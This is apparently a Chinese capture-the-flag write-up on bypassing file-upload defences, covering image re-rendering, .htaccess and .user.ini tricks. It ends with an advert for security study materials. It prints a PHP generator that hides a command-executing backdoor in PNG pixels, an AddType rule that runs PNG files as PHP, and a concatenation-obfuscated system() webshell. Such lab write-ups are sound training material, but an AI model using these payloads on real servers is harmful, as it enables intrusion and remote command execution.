上传了一个000.png
上传成功。
发现文件的地址被改变了。
抓包这个地址。
发现这个png长度是74963,而原图片是74258
发现变大了。把图片下载下来,对比一下16进制,发现真的不一样。
这就叫图片的二次渲染。
二次渲染:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
这就给了我们一种思路:我们把原来的图片和二次渲染后的图片进行对比,找到不改变的地方,把我们的后门代码植入到这个地方中,再进行上传。
参考文件上传之二次渲染绕过_二次渲染绕过怎么操作-CSDN博客贴脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
这脚本生成的后门是用get方式传递system post传递命令
运行脚本,生成了一个png,上传成功。
注意:这里图片的地址是用php代码包含的。所以才可以执行php代码。如果不是这样,而是直接用路径显示,我们就需要使用.user.ini文件。
web165(jpg二次渲染)
这题js要求上传jpg图片,随便上传一个jpg
也是包含地址。
文件二次渲染:1.判断上传前和上传后的文件大小及内容。
2.判断上传后的文件返回数据包
前后对比:
我们将下载下来的图片加入后门代码然后在上传
然后方法同上一题。
web166
发现是要上传zip文件
上传一个php后门的zip,上传成功。
发现他是包含格式的
蚁剑直接连即可
web167(.htaccess)
httpd
需要上传jpg格式的图片
htaccess默认不支持nginx,设置后支持
htaccess可以通过设置实现文件解析配置将png后缀的文件解析成php
AddType application/x-httpd-php png
将png后缀的文件解析成php
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
虽然htaccess默认不支持,但是可以设为支持。
web168(木马变换)
发现eval,system,$_POST都被过滤了
可以用变量替换的形式来绕过:
<?php $a='syste'.'m';$a("cat ../f\*");?>
访问即可
web169(.user.ini条件利用)
构造.user.ini的条件:1.当前目录要有一个只向index.php文件,这个文件的内容是随意的。
2.要求php版本为7版本
这种情况下就没有指向文件。所以我们要上传一个index.php文件。
一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!